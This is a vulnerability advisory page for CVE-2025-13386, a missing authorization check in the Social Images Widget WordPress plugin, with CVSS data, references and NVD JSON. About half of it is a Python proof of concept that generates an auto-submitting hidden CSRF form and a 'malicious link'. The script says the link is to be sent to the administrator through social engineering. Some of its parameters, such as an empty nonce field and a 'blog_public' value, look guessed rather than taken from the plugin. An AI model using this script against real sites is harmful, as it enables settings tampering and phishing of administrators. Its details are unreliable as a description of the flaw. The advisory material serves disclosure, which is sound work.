CVE-2025-13386

Description

The Social Images Widget plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'options_update' function in all versions up to, and including, 2.1. This makes it possible for unauthenticated attackers to delete the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Social Images Widget plugin for WordPress <= 2.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
CVE-2025-13386 PoC - Social Images Widget options_update Authorization Bypass
This PoC demonstrates how an unauthenticated attacker can trigger the options_update
function to delete plugin settings by tricking an admin into clicking a malicious link.
"""

import argparse
import urllib.parse

def generate_csrf_payload(target_url, blog_url):
    """
    Generate a CSRF attack payload that exploits the missing capability check
    in the options_update function of Social Images Widget plugin.
    """
    # The vulnerable endpoint
    endpoint = f"{target_url.rstrip('/')}/wp-admin/admin-post.php"
    
    # Vulnerable parameters - missing nonce verification and capability check
    payload = {
        'action': 'options_update',
        'social_images_nonce': '',  # Missing nonce validation
        'widget_social_images[enabled]': '0',  # Disable the plugin
        'blog_public': blog_url,
    }
    
    # HTML form for CSRF attack
    html_template = f'''
<!DOCTYPE html>
<html>
<head>
    <title>Social Images Widget - CSRF Exploit (CVE-2025-13386)</title>
</head>
<body>
    <h1>CVE-2025-13386 - Social Images Widget Authorization Bypass</h1>
    <p>This page contains a hidden form that exploits the missing capability check.</p>
    
    <form id="exploit" action="{endpoint}" method="POST">
'''
    
    for key, value in payload.items():
        html_template += f'        <input type="hidden" name="{key}" value="{value}">\n'
    
    html_template += '''
    </form>
    
    <script>
        // Auto-submit the form when page loads
        document.getElementById('exploit').submit();
    </script>
    
    <p>If you see this message, the form has been submitted.</p>
</body>
</html>
'''
    return html_template

def generate_malicious_link(target_url):
    """
    Generate a malicious URL that can be used in phishing attacks.
    """
    params = urllib.parse.urlencode({
        'action': 'options_update',
        'social_images_nonce': '',
        'widget_social_images[enabled]': '0',
    })
    
    malicious_url = f"{target_url.rstrip('/')}/wp-admin/admin-post.php?{params}"
    return malicious_url

def main():
    parser = argparse.ArgumentParser(
        description='CVE-2025-13386 PoC - Social Images Widget Authorization Bypass'
    )
    parser.add_argument('--target', required=True, help='Target WordPress site URL')
    parser.add_argument('--mode', choices=['html', 'link'], default='html',
                        help='Output mode: html (CSRF page) or link (malicious URL)')
    
    args = parser.parse_args()
    
    if args.mode == 'html':
        html = generate_csrf_payload(args.target, args.target)
        print(html)
    else:
        link = generate_malicious_link(args.target)
        print(f"Malicious Link: {link}")
        print("\nNote: This link should be sent to the WordPress admin via social engineering.")

if __name__ == '__main__':
    main()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13386
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13386
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13386/
[4] VulDB https://vuldb.com/cve/CVE-2025-13386
[5] https://plugins.trac.wordpress.org/browser/social-images-widget/tags/2.1/class-social-images-widget-settings.php#L44
[6] https://plugins.trac.wordpress.org/browser/social-images-widget/trunk/class-social-images-widget-settings.php#L44
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/95ab7473-e368-47ad-a8a0-0efbdafce562?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13386", "sourceIdentifier": "[email protected]", "published": "2025-11-25T08:15:50.817", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Social Images Widget plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'options_update' function in all versions up to, and including, 2.1. This makes it possible for unauthenticated attackers to delete the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/social-images-widget/tags/2.1/class-social-images-widget-settings.php#L44", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/social-images-widget/trunk/class-social-images-widget-settings.php#L44", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/95ab7473-e368-47ad-a8a0-0efbdafce562?source=cve", "source": "[email protected]"}]}}